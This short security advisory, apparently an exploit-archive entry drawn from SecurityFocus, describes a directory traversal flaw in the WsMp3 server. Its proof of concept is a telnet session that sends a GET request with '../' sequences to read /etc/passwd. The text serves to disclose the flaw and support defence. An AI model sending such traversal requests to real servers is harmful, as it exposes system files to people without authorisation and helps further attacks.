source: https://www.securityfocus.com/bid/7642/info A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP GET requests. As a result, an attacker may be capable of accessing the contents of sensitive system resources. Information obtained through the exploitation of this issue may aid an attacker in launching further attacks against a target system. bash$ telnet wsmp3.server.com 8000 Trying 61.37.xxx.xx... Connected to 61.37.xxx.xx. Escape character is '^]'. GET /dir/../../../../../../etc/passwd HTTP/1.0